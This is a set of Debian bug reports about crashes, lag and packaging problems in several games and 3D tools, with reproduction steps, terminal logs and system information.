Bug#1071663: RFP: minetest-mod-voxelibre -- voxelibre mod for minetest

2024-05-23 Thread Nils Dagsson Moskopp
Matthias Geiger  writes:

> […]
>
> Since this is an RFP I suggest you file a different one for Mineclonia. 
> If someone decides to package either they can draw their own conclusions.

Thanks, maybe I will. I am not against packaging VoxeLibre, I just want
people to know what they are in for: An upstream that breaks things and
is not particularly receptive to approaches that don't break stuff (and
arguably that was a big reason for the Mineclonia fork event initially).


signature.asc
Description: PGP signature


Bug#1054547: apitrace diff script needs Python 3.8, but 3.9 is installed

2023-10-25 Thread Nils Dagsson Moskopp
Package: apitrace
Version: 9.0+repack-1+b3
Severity: normal
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

I wanted to see the help text for the apitrace “--diff-state” option:

; apitrace --diff-state --help
error: failed to execute: /usr/bin/python3.8 
/usr/bin/../lib/apitrace/scripts/jsondiff.py --help

I expected to see some help text, not an error.

My python version is 3.9.2, reported by “python --version”.
Using Python 3.9 to execute the script shows the help text:

; python3.9 /usr/bin/../lib/apitrace/scripts/jsondiff.py --hel
Usage: 
jsondiff.py [options]  

Options:
  -h, --help  show this help message and exit
  --ignore-added  ignore added state
  --keep-images   compare images


-- System Information:
Debian Release: 11.7
  APT prefers oldoldstable
  APT policy: (500, 'oldoldstable'), (500, 'oldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages apitrace depends on:
ii  apitrace-tracers  9.0+repack-1+b3
ii  libbsd0   0.11.3-1
ii  libc6 2.31-13+deb11u6
ii  libgcc-s1 10.2.1-6
ii  libpng16-16   1.6.37-3
ii  libprocps82:3.3.17-5
ii  libsnappy1v5  1.1.8-1
ii  libstdc++610.2.1-6
ii  libwaffle-1-0 1.6.3-3
ii  libx11-6  2:1.7.2-1
ii  python3   3.9.2-3
ii  python3-pil   8.1.2+dfsg-0.3+deb11u1
ii  zlib1g1:1.2.11.dfsg-2+deb11u2

apitrace recommends no packages.

apitrace suggests no packages.

-- no debconf information


Bug#1035595: gl-117: Crash on exit

2023-05-05 Thread Nils Dagsson Moskopp
Package: gl-117
Version: 1.3.2-3+b1
Severity: normal
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

after the gl-117 main menu had loaded, Ipressed ESCAPE and Y, gl-117 crashed.
The last log message was “corrupted double-linked list”, followed by “abort”.

My screen was set to 1024x768 (gl-117 resolution) instead of a previous one –
so I had to manually set it back with: xrandr --output LVDS1 --mode 1400x1050

So I immediately tried it again; I got a different error message. Here it is:

> malloc(): unsorted double linked list corrupted
> abort

The last “regular” message that the program printed to the terminal was this:

> Info: Pilots saved

-- System Information:
Debian Release: 11.7
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gl-117 depends on:
ii  freeglut3   2.8.1-6
ii  gl-117-data 1.3.2-3
ii  libc6   2.31-13+deb11u6
ii  libgcc-s1 [libgcc1] 10.2.1-6
ii  libgcc1 1:8.3.0-6
ii  libgl1  1.3.2-1
ii  libgl1-mesa-glx 20.3.5-1
ii  libglu1-mesa [libglu1]  9.0.1-1
ii  libsdl-mixer1.2 1.2.12-16+b1
ii  libsdl1.2debian 1.2.15+dfsg2-6
ii  libstdc++6  10.2.1-6

gl-117 recommends no packages.

gl-117 suggests no packages.

-- no debconf information


Bug#1034689: gl-117: Moving mouse creates lag (workaround: use software rendering)

2023-05-05 Thread Nils Dagsson Moskopp
Package: gl-117
Version: 1.3.2-3+b1
Followup-For: Bug #1034689
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

I tested gl-117 on a Thinkpad T60 and found the lag does not to occur on it;
I actually did get 60 fps almost consistently, sometimes dropping to 45 fps.

I have no idea what could make gl-117 work so much worse on newer hardware …

Here is the terminal output of “glxinfo |grep -i ' version'” on that laptop:

server glx version string: 1.4
client glx version string: 1.4
GLX version: 1.4
Version: 20.3.5
Max core profile version: 0.0
Max compat profile version: 1.4
Max GLES1 profile version: 1.1
Max GLES[23] profile version: 2.0
OpenGL version string: 1.4 Mesa 20.3.5
OpenGL ES profile version string: OpenGL ES 2.0 Mesa 20.3.5
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 1.0.16

-- System Information:
Debian Release: 11.7
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gl-117 depends on:
ii  freeglut3   2.8.1-6
ii  gl-117-data 1.3.2-3
ii  libc6   2.31-13+deb11u6
ii  libgcc-s1 [libgcc1] 10.2.1-6
ii  libgcc1 1:8.3.0-6
ii  libgl1  1.3.2-1
ii  libgl1-mesa-glx 20.3.5-1
ii  libglu1-mesa [libglu1]  9.0.1-1
ii  libsdl-mixer1.2 1.2.12-16+b1
ii  libsdl1.2debian 1.2.15+dfsg2-6
ii  libstdc++6  10.2.1-6

gl-117 recommends no packages.

gl-117 suggests no packages.

-- no debconf information


Bug#1034698: mm3d: Installing mm3d package installs blender, too

2023-04-22 Thread Nils Dagsson Moskopp
Package: mm3d
Version: 1.3.12-1+b1
Followup-For: Bug #1034698
X-Debbugs-Cc: nils+debian-p...@dieweltistgarnichtso.net

Dear Maintainer,

I am fully aware that mm3d “recommends” blender, but
I do believe that this “recommendation” is in error.

Granted, both are 3D model editors. However, I have
not seen any evidence that installing blender could
improve or enhance mm3d usage in any way … does it?

The only thing I noticed is over 330 MB more data –
for a package with “Installed-Size: 3.869 kB” it is
a bit excessive to recommend an alternative program
that is about 2 orders of magnitude larger on disk.

In which version of the package is the “recommends”
field fixed? I ask because status is set to “done”.

-- System Information:
Debian Release: 11.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.15.0-0.bpo.3-amd64 (SMP w/16 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages mm3d depends on:
ii  libc6   2.31-13+deb11u5
ii  libgcc-s1 [libgcc1] 10.2.1-6
ii  libgl1  1.3.2-1
ii  libglu1-mesa [libglu1]  9.0.1-1
ii  libqt5core5a5.15.2+dfsg-9
ii  libqt5gui5  5.15.2+dfsg-9
ii  libqt5opengl5   5.15.2+dfsg-9
ii  libqt5widgets5  5.15.2+dfsg-9
ii  libstdc++6  10.2.1-6

Versions of packages mm3d recommends:
pn  blender  
ii  wings3d  2.2.5-1
pn  yafray   

mm3d suggests no packages.

-- no debconf information


Bug#1034698: mm3d: Installing mm3d package installs blender, too

2023-04-21 Thread Nils Dagsson Moskopp
Package: mm3d
Severity: minor
X-Debbugs-Cc: nils+debian-p...@dieweltistgarnichtso.net

Dear Maintainer,

“sudo apt-get install mm3d” installs mm3d – and blender, too …
I assume most users do not want blender when they ask for mm3d,
installing blender too means downloading a few hundred mb more!

-- System Information:
Debian Release: 11.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.15.0-0.bpo.3-amd64 (SMP w/16 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages mm3d depends on:
ii  libc6   2.31-13+deb11u5
ii  libgcc-s1 [libgcc1] 10.2.1-6
ii  libgl1  1.3.2-1
ii  libglu1-mesa [libglu1]  9.0.1-1
ii  libqt5core5a5.15.2+dfsg-9
ii  libqt5gui5  5.15.2+dfsg-9
pn  libqt5opengl5   
ii  libqt5widgets5  5.15.2+dfsg-9
ii  libstdc++6  10.2.1-6

Versions of packages mm3d recommends:
pn  blender  
ii  wings3d  2.2.5-1
pn  yafray   

mm3d suggests no packages.


Bug#1034690: barrage: Middle click does not fire small grenades

2023-04-21 Thread Nils Dagsson Moskopp
Package: barrage
Version: 1.0.5-1
Severity: important
X-Debbugs-Cc: nils+debian-p...@dieweltistgarnichtso.net

Dear Maintainer,

I started “barrage” and clicked “Receive Briefing”.
It says to use middle click to fire small grenades.

I middle-clicked in the game, but that did nothing.

I used xev to verify that my middle clicking works;
it seems to work in every other app except barrage.

-- System Information:
Debian Release: 11.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.15.0-0.bpo.3-amd64 (SMP w/16 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages barrage depends on:
ii  libc62.31-13+deb11u5
ii  libsdl-mixer1.2  1.2.12-16+b1
ii  libsdl1.2debian  1.2.15+dfsg2-6

barrage recommends no packages.

barrage suggests no packages.

-- no debconf information


Bug#1034689: gl-117: Moving mouse creates lag (workaround: use software rendering)

2023-04-21 Thread Nils Dagsson Moskopp
Package: gl-117
Version: 1.3.2-3+b1
Severity: important
X-Debbugs-Cc: nils+debian-p...@dieweltistgarnichtso.net

Dear Maintainer,

I installed and started gl-117 just now. It showed severe lag.
There was a warning shown about the rendering being too slow …

I managed to disable fullscreen mode and quit the application and started it 
again.
I found that lag only happens when the mouse cursor moves inside the gl-117 
window.

Using Mesa software rendering with “LIBGL_ALWAYS_SOFTWARE=1 gl-117” avoids the 
lag.
Here is the terminal output of “glxinfo |grep -i ' version'” on the machine I 
used:

server glx version string: 1.4
client glx version string: 1.4
GLX version: 1.4
Version: 20.3.5
Max core profile version: 4.6
Max compat profile version: 4.6
Max GLES1 profile version: 1.1
Max GLES[23] profile version: 3.2
OpenGL core profile version string: 4.6 (Core Profile) Mesa 20.3.5
OpenGL core profile shading language version string: 4.60
OpenGL version string: 4.6 (Compatibility Profile) Mesa 20.3.5
OpenGL shading language version string: 4.60
OpenGL ES profile version string: OpenGL ES 3.2 Mesa 20.3.5
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.20

-- System Information:
Debian Release: 11.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.15.0-0.bpo.3-amd64 (SMP w/16 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gl-117 depends on:
ii  freeglut3   2.8.1-6
ii  gl-117-data 1.3.2-3
ii  libc6   2.31-13+deb11u5
ii  libgcc-s1 [libgcc1] 10.2.1-6
ii  libgl1  1.3.2-1
ii  libgl1-mesa-glx 20.3.5-1
ii  libglu1-mesa [libglu1]  9.0.1-1
ii  libsdl-mixer1.2 1.2.12-16+b1
ii  libsdl1.2debian 1.2.15+dfsg2-6
ii  libstdc++6  10.2.1-6

gl-117 recommends no packages.

gl-117 suggests no packages.

-- no debconf information


Bug#1034687: ardentryst: Crash when renaming existing character

2023-04-21 Thread Nils Dagsson Moskopp
Package: ardentryst
Version: 1.71-8
Severity: normal
X-Debbugs-Cc: nils+debian-p...@dieweltistgarnichtso.net

Dear Maintainer,

when resuming a saved game you can press “Q” in the world map/overview.
You then get a menu in which you can press “R” to rename the character.
Pressing “return” after typing the new character name crashes the game.

The following text is the entire terminal output from start to a crash:

pygame 1.9.6
Hello from the pygame community. https://www.pygame.org/contribute.html
Ext.reader.Sax2 not found

---
Ardentryst v.20090726 (1.71-Comet Unstable) 1:11 PM AEST   
   by Jordan Trudgett  
---

Ardentryst Copyright (C) 2007, 2008, 2009 Jordan Trudgett
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions; for details, see the COPYING file.

An error has occurred. 
Traceback (most recent call last):
  File "/usr/share/games/ardentryst/ardentryst.py", line 4722, in 
main()
  File "/usr/share/games/ardentryst/ardentryst.py", line 4423, in main
handle_game(Game, True)
  File "/usr/share/games/ardentryst/ardentryst.py", line 2988, in handle_game
r = Ingame_Menu((screen, Data, Fonts, p1c, soundbox, ticker, Game, player, 
False))
  File "/usr/share/games/ardentryst/play_level.py", line 1588, in Ingame_Menu
sfiles = os.listdir("Saves")
FileNotFoundError: [Errno 2] No such file or directory: 'Saves'
Traceback (most recent call last):
  File "/usr/share/games/ardentryst/ardentryst.py", line 4722, in 
main()
  File "/usr/share/games/ardentryst/ardentryst.py", line 4423, in main
handle_game(Game, True)
  File "/usr/share/games/ardentryst/ardentryst.py", line 2988, in handle_game
r = Ingame_Menu((screen, Data, Fonts, p1c, soundbox, ticker, Game, player, 
False))
  File "/usr/share/games/ardentryst/play_level.py", line 1588, in Ingame_Menu
sfiles = os.listdir("Saves")
FileNotFoundError: [Errno 2] No such file or directory: 'Saves'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/share/games/ardentryst/ardentryst.py", line 4726, in 
handleException(e)
  File "/usr/share/games/ardentryst/ardentryst.py", line 685, in handleException
open("bugreport.txt", "w").write(open(os.path.join(SAVEDIRECTORY, 
"log.txt"), "r").read())
PermissionError: [Errno 13] Permission denied: 'bugreport.txt'

-- System Information:
Debian Release: 11.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.15.0-0.bpo.3-amd64 (SMP w/16 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages ardentryst depends on:
ii  fonts-freefont-ttf  20120503-10
ii  python3 3.9.2-3
ii  python3-future  0.18.2-5
ii  python3-pygame  1.9.6+dfsg-4+b1

ardentryst recommends no packages.

ardentryst suggests no packages.

-- no debconf information


Bug#1034686: curseofwar: package can not be uninstalled after running curseofwar binary

2023-04-21 Thread Nils Dagsson Moskopp
Package: curseofwar
Version: 1.1.8-3.1
Severity: normal
X-Debbugs-Cc: nils+debian-p...@dieweltistgarnichtso.net

Dear Maintainer,

I ran curseofwar in an xfce4-terminal.
I then wanted to uninstall curseofwar.

Strangely, running curseofwar in terminals seems to cancel any following 
uninstall –
the “Do you want to continue?” question from apt seems to be automatically 
rejected.

Here is the full output of “LANG=C sudo apt autoremove curseofwar” in this 
scenario:

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages will be REMOVED:
  curseofwar
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
After this operation, 89,1 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.

-- System Information:
Debian Release: 11.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.15.0-0.bpo.3-amd64 (SMP w/16 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages curseofwar depends on:
ii  libc62.31-13+deb11u5
ii  libncurses6  6.2+20201114-2
ii  libtinfo66.2+20201114-2

curseofwar recommends no packages.

curseofwar suggests no packages.

-- no debconf information


Bug#1034685: glob2: Clicking “Settings” and then clicking “Ok” crashes/hangs glob2

2023-04-21 Thread Nils Dagsson Moskopp
Package: glob2
Version: 0.9.4.4-5
Severity: important
X-Debbugs-Cc: nils+debian-p...@dieweltistgarnichtso.net

Dear Maintainer,

clicking “Settings” and then clicking “Ok” in the main menu crashes glob2.
This seems to happen regardless of there being an output for sound or not.
I tried “pasuspender glob2” to see if it works, but it only hangs instead.
The full terminal output from starting “glob2” to the crash follows below:

ALSA lib confmisc.c:767:(parse_card) cannot find card '0'
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_card_driver 
returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_concat returned 
error: No such file or directory
ALSA lib confmisc.c:1246:(snd_func_refer) error evaluating name
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_refer returned 
error: No such file or directory
ALSA lib conf.c:5233:(snd_config_expand) Evaluate error: No such file or 
directory
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM sysdefault
ALSA lib confmisc.c:767:(parse_card) cannot find card '0'
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_card_driver 
returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_concat returned 
error: No such file or directory
ALSA lib confmisc.c:1246:(snd_func_refer) error evaluating name
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_refer returned 
error: No such file or directory
ALSA lib conf.c:5233:(snd_config_expand) Evaluate error: No such file or 
directory
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM sysdefault
ALSA lib confmisc.c:767:(parse_card) cannot find card '0'
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_card_driver 
returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_concat returned 
error: No such file or directory
ALSA lib confmisc.c:1246:(snd_func_refer) error evaluating name
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_refer returned 
error: No such file or directory
ALSA lib conf.c:5233:(snd_config_expand) Evaluate error: No such file or 
directory
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM front
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM cards.pcm.rear
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM cards.pcm.center_lfe
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM cards.pcm.side
ALSA lib confmisc.c:767:(parse_card) cannot find card '0'
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_card_driver 
returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_concat returned 
error: No such file or directory
ALSA lib confmisc.c:1246:(snd_func_refer) error evaluating name
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_refer returned 
error: No such file or directory
ALSA lib conf.c:5233:(snd_config_expand) Evaluate error: No such file or 
directory
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM surround21
ALSA lib confmisc.c:767:(parse_card) cannot find card '0'
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_card_driver 
returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_concat returned 
error: No such file or directory
ALSA lib confmisc.c:1246:(snd_func_refer) error evaluating name
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_refer returned 
error: No such file or directory
ALSA lib conf.c:5233:(snd_config_expand) Evaluate error: No such file or 
directory
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM surround21
ALSA lib confmisc.c:767:(parse_card) cannot find card '0'
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_card_driver 
returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_concat returned 
error: No such file or directory
ALSA lib confmisc.c:1246:(snd_func_refer) error evaluating name
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_refer returned 
error: No such file or directory
ALSA lib conf.c:5233:(snd_config_expand) Evaluate error: No such file or 
directory
ALSA lib pcm.c:2660:(snd_pcm_open_noupdate) Unknown PCM surround40
ALSA lib confmisc.c:767:(parse_card) cannot find card '0'
ALSA lib conf.c:4745:(_snd_config_evaluate) function snd_func_card_driver 
returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib 

Bug#1034674: mm3d can not load OBJ files, corrupts IQE & SMD & D3D files on save, depending on locale

2023-04-21 Thread Nils Dagsson Moskopp
Package: mm3d
Version: 1.3.12-1+b1
Severity: grave
Tags: l10n
X-Debbugs-Cc: nils+debian-p...@dieweltistgarnichtso.net

Dear Maintainer,

I tried to open some OBJ files with mm3d, but no 3D model was shown.
I figured out that it seems to have something to do with my locale.
I think file loading code mistakenly localizes decimal separators.

This did not work:
LC_NUMERIC=de_DE.UTF-8 mm3d tmp/sydney.obj

This did work:
LC_NUMERIC=C mm3d tmp/sydney.obj

According to this commit message I found, this is fixed in a new upstream 
version:
https://github.com/zturtleman/mm3d/commit/f00fdd5f2a27292a646a23ba34f80be50ab9844c

The commit message also warns that mm3d will corrupt IQE & SMD & D3D when 
saving …
for this reason the bug report is marked grave because this could cause data 
loss!

-- System Information:
Debian Release: 11.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.15.0-0.bpo.3-amd64 (SMP w/16 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages mm3d depends on:
ii  libc6   2.31-13+deb11u5
ii  libgcc-s1 [libgcc1] 10.2.1-6
ii  libgl1  1.3.2-1
ii  libglu1-mesa [libglu1]  9.0.1-1
ii  libqt5core5a5.15.2+dfsg-9
ii  libqt5gui5  5.15.2+dfsg-9
ii  libqt5opengl5   5.15.2+dfsg-9
ii  libqt5widgets5  5.15.2+dfsg-9
ii  libstdc++6  10.2.1-6

Versions of packages mm3d recommends:
ii  blender  2.83.5+dfsg-5+deb11u1
ii  wings3d  2.2.5-1
pn  yafray   

mm3d suggests no packages.

-- no debconf information


Bug#1034649: 7kaa: Unplugging USB headset hangs 7kaa

2023-04-20 Thread Nils Dagsson Moskopp
Package: 7kaa
Version: 2.15.4p1+dfsg-1
Severity: normal
X-Debbugs-Cc: nils+debian-p...@dieweltistgarnichtso.net

Dear Maintainer,

whenever I unplug the USB headset while 7kaa is running, it hangs.
7kaa prints a single line of output to the terminal, quoted below:

> AL lib: (EE) ALCpulsePlayback_streamStateCallback: Received stream failure!

“lsusb” outputs the following information about the USB headset:

> Bus 003 Device 017: ID 0b0e:0308 GN Netcom Jabra EVOLVE LINK

-- System Information:
Debian Release: 11.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.15.0-0.bpo.3-amd64 (SMP w/16 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages 7kaa depends on:
ii  7kaa-data2.15.4p1+dfsg-1
ii  libc62.31-13+deb11u5
ii  libcurl3-gnutls  7.74.0-1.3+deb11u7
ii  libenet7 1.3.13+ds-1
ii  libgcc-s110.2.1-6
ii  libopenal1   1:1.19.1-2
ii  libsdl2-2.0-02.0.14+dfsg2-3+deb11u1
ii  libstdc++6   10.2.1-6
ii  libuuid1 2.36.1-8+deb11u1

7kaa recommends no packages.

Versions of packages 7kaa suggests:
pn  7kaa-music  

-- no debconf information


Bug#1034642: naev: Crash after landing on a planet in the Qex system

2023-04-20 Thread Nils Dagsson Moskopp
Package: naev
Version: 0.8.0-1
Severity: important
X-Debbugs-Cc: nils+debian-p...@dieweltistgarnichtso.net

Dear Maintainer,

when doing the tutorial the player has to visit the Qex system,
but upon landing on a planet and taking off, the game crashes …

The output of naev in a terminal is reproduced below this line:

 Naev v0.8.0+dev (linux-x86_64)
Found ndata: /usr/share/naev/dat
 Sea of Darkness
Reached main menu
Warning: [font_makeChar] Unicode character '0xfff7eefc' not found in font! 
Using missing glyph.
Entity: line 491: parser error : Input is not proper UTF-8, indicate encoding !
Bytes: 0xBB 0x9C 0x62 0x75
  Kapilän Z. ��bung, der Melendez-Mitarbeiter, d
 ^
Entity: line 491: parser error : PCDATA invalid Char value 24
ab dir eine Anleitung, wie man es steuert, und behauptete anschli]��end, dass du
   ^
error : xmlTextWriterWriteDocCallback : XML error 9 !
I/O error : flush error
ERROR ../src/save.c:134 [save_all]: xmlw: unable to end document
abort

-- System Information:
Debian Release: 11.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.15.0-0.bpo.3-amd64 (SMP w/16 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages naev depends on:
ii  libc62.31-13+deb11u5
ii  libcxsparse3 1:5.8.1+dfsg-2
ii  libfreetype6 2.10.4+dfsg-1+deb11u1
ii  liblua5.1-0  5.1.5-8.1+b3
ii  libopenal1   1:1.19.1-2
ii  libpng16-16  1.6.37-3
ii  libsdl2-2.0-02.0.14+dfsg2-3+deb11u1
ii  libsdl2-mixer-2.0-0  2.0.4+dfsg1-3
ii  libvorbis0a  1.3.7-1
ii  libvorbisfile3   1.3.7-1
ii  libxml2  2.9.10+dfsg-6.7+deb11u3
ii  naev-data0.8.0-1

naev recommends no packages.

naev suggests no packages.

-- no debconf information


Bug#1010760: closed by Debian FTP Masters (reply to Tobias Frost ) (Bug#1010760: fixed in minetest 5.6.0+dfsg+~1.9.0mt7+dfsg-1)

2022-09-19 Thread Nils Dagsson Moskopp

 says:
> upstream requires SSE3 to function properly, depend on sse3-support

The commit message seems to be wrong: Minetest uses SSE2, not SSE3.


signature.asc
Description: PGP signature


Bug#1016120: kmscube does not quit on its own and inhibits switching to other TTYs, making computer unusable

2022-07-27 Thread Nils Dagsson Moskopp
Package: kmscube
Version: 0.0.0~git20210103-1
Severity: important
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

I started kmscube to test out whether kernel mode-setting would work on my 
hardware.
I saw a rotating textured cube (so KMS works), but there was no way to exit 
kmscube.

Among other things, I tried ESC, SPC and CTRL + C, but none of those exited 
kmscube.

I then tried to switch to another TTY to log in and kill kmscube. This did not 
work.
It seems that all keyboard inputs i tried were deferred until after kmscube 
exits.

I expected shortcuts like CTRL + ALT + F2 to always get me to TTY2 immediately.
I also expected kmscube to exit upon a keypress, mouse click, or after a time.

To reproduce this issue:

1. Execute ”timeout 10 kmscube” in TTY1.
2. Press CTRL + ALT + F2 as soon as you see a rotating cube.
3. Wait 10 seconds.
4. Verify that the display only switches to TTY2 after kmscube exits.

-- System Information:
Debian Release: 11.3
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages kmscube depends on:
ii  libc6   2.31-13+deb11u3
ii  libdrm2 2.4.104-1
ii  libegl1 1.3.2-1
ii  libgbm1 20.3.5-1
ii  libgles21.3.2-1
ii  libglib2.0-02.66.8-1
ii  libgstreamer-plugins-base1.0-0  1.18.4-2
ii  libgstreamer1.0-0   1.18.4-2.1
ii  libpng16-16 1.6.37-3

kmscube recommends no packages.

kmscube suggests no packages.

-- no debconf information


Bug#1014937: stormbaancoureur: Slow/wrong rendering on Intel 945GM x86/MMX/SSE2

2022-07-15 Thread Nils Dagsson Moskopp
Package: stormbaancoureur
Version: 2.1.6-3
Followup-For: Bug #1014937
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

I haveinvestigated the source package of stormbaancoureur.

The file src-common/ogl.cxx contains the shadow rendering functionality.

It also contains a check for when exactly shadow rendering is enabled:

--- 8< --- snip --- 8< ---
/*
 * This helper function checks wether we have all req'd extensions for shadow 
mapping
 */
bool OglCanDoShadowing(void)
{
  if (getenv("PLODE_NO_SHADOWS")) return false;
